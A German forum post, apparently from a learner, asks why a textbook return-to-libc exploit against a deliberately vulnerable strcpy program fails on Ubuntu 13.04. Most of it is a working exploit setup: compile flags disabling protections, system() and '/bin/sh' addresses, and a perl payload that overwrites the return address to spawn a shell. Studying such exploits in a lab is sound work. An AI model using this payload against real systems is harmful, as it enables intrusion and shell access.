hallo,
es soll einen Trick geben mit dem man den "nicht ausführbarer Stack" umgeht.
Rücksprung nach libc(returning into libc)
ASLR ist ausgeschaltet.
Der systemaufrufe:
$1 = {<text variable, no debug info>} 0xb7e57280 <system>
Dann kopiere ich etwas in die Umgebungsvariable:
export BINSH=" /bin/sh"
0xbfffff28 <--- Hier ist die umgebungsvariable
Mein Opfer:
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
./vuln $(perl -e 'print "ABCD"x7' . "\x80\x72\xe5\xb7FAKE\x28\xff\xff\xbf"')
-----------
Laut Buch 2008 sollte das so funktionieren. Das Problem treibt mich in den Wahnsinn
Problem: Es geht nicht mit Ubuntu 13,4. Meine Idee: Das Sicherheitsloch ist gestopft, verschoben? Aber ich habe doch no-stack-protector
Danke für jeden Tip.
es soll einen Trick geben mit dem man den "nicht ausführbarer Stack" umgeht.
Rücksprung nach libc(returning into libc)
ASLR ist ausgeschaltet.
Der systemaufrufe:
$1 = {<text variable, no debug info>} 0xb7e57280 <system>
Dann kopiere ich etwas in die Umgebungsvariable:
export BINSH=" /bin/sh"
0xbfffff28 <--- Hier ist die umgebungsvariable
Mein Opfer:
PHP:
int main(int argc, char *argv[]) {
char buffer[5];
strcpy(buffer, argv[1]);
return 0;
}
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
./vuln $(perl -e 'print "ABCD"x7' . "\x80\x72\xe5\xb7FAKE\x28\xff\xff\xbf"')
-----------
Laut Buch 2008 sollte das so funktionieren. Das Problem treibt mich in den Wahnsinn

Problem: Es geht nicht mit Ubuntu 13,4. Meine Idee: Das Sicherheitsloch ist gestopft, verschoben? Aber ich habe doch no-stack-protector
Danke für jeden Tip.
Zuletzt bearbeitet: